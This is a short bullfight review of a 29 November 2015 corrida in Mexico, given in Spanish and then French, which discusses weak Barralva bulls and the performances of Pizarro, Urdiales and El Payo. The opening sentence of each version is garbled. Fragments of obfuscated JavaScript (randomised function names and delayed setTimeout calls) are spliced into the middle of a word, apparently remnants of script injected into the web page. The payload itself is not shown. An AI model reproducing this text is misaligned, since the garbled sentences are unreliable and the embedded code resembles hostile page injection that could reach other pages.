SOLO PARA AFICIONADOSUNIQUEMENT POUR AFICIONADOS

México corrida del 29 noviembre 2015. Cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando los toros, correctamente presentados, son nobles pero no tienen una embestida suficiente,la observación de la técnica torera se impone a la brillantez del toreo. Entonces, el aficionado se interesa en la corrida, pero el espectador se aburre: ni percibe un peligro evidente, ni aparece el arte.

La corrida de Barralva -encaste Saltillo-, que cumplió en varas, sólo presentó un toro aceptable, el primero, desaprovechado por Pizarro, quien acopló sus claras embestidas de manera intermitente. Con su segundo, deslucido, se resignó. Y, claro, la gente se decepcionó. El resto de los toros tuvo un comportamiento insuficiente, tal vez por su mermado vigor, quizá por su falta de raza. Al aficionado le satisfizo la maestría de Urdiales, que a veces prolongó las embestidas de su primero y se impuso con soberbio dominio a su segundo, lo que no bastó para que el espectador se emocionara. Únicamente El Payo rompió los esquemas del ganado. Puso al toreo la emoción que no provocaban sus toros. Hasta las dos espectaculares volteretas que sufrió no se las dieron sus enemigos sino que él las provocó por una excesiva, quizá improcedente entrega. Como quiera que fuese arrancó una oreja a cada uno de los toros. Emocionó a los espectadores y se ganó el respeto de la afición. ¿Salvó la corrida? Puede ser.

El problema de la fiesta en México es el toro, noble siempre, pero de justísimas fuerzas y nula raza. Por eso va tan poca gente a la plaza. Hay que ser un virtuoso del toreo para que la lidia funcione. No sé si tiene razón el aficionado impenitente, adicto al rito taurino dominical, o el espectador llano, que se queda en casa.

Mexico : corrida du 29 novembre 2015. Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and les toros, correctement présentés, sont nobles mais n’ont pas suffisamment de charge, l’observation de la technique tauromachique s’impose à celle de l’éclat du toreo. Alors, l’aficionado s’intéresse à la corrida pendant que le spectateur s’ennuie : il ne perçoit ni l’évidence du danger, ni l’art apparaît.

La corrida de Barralva –de souche Saltillo- qui fut correcte sans plus à la pique, présenta un seul toro acceptable, le premier, dont ne profita pas Pizarro, qui s’adapta de façon intermittente aux charges franches du toro. Devant son second, très terne, il se résigna. Le reste de la corrida étala un comportement insuffisant, peut-être par son manque de vigueur ou son manque de race. L’aficionado a pu être satisfait par la maestria de Urdiales, qui parfois réussit à prolonger les charges de son premier et s’imposa avec une fière domination à son second, mais cela ne fut pas suffisant pour que le spectateur s’émeuve. Uniquement El Payo a cassé les schémas du bétail. Il a imprégné sa tauromachie de l’émotion que n’avaient pas ses toros. Même les deux spectaculaires culbutes qu’il a souffert ce n’est pas ses adversaires qui les ont provoquées mais par son excessif, et peut-être abusif engagement. Quoi qu’il en soit il arracha une oreille à chacun de ses toros. Il émut les spectateurs et gagna le respect des aficionados. Sauva t-il la course ? Probablement.

Le problème de la corrida au Mexique c’est le taureau, toujours nobles, mais aux forces très limitées et sans race. Voila la raison pour laquelle si peu de public va aux arènes. Il faut être un virtuose de la tauromachie pour que la lidia fonctionne. Je ne sais pas si l’aficionado impénitent, accro au rite taurin dominical, ou le spectateur lambda qui reste à la maison.

Les commentaires sont fermés.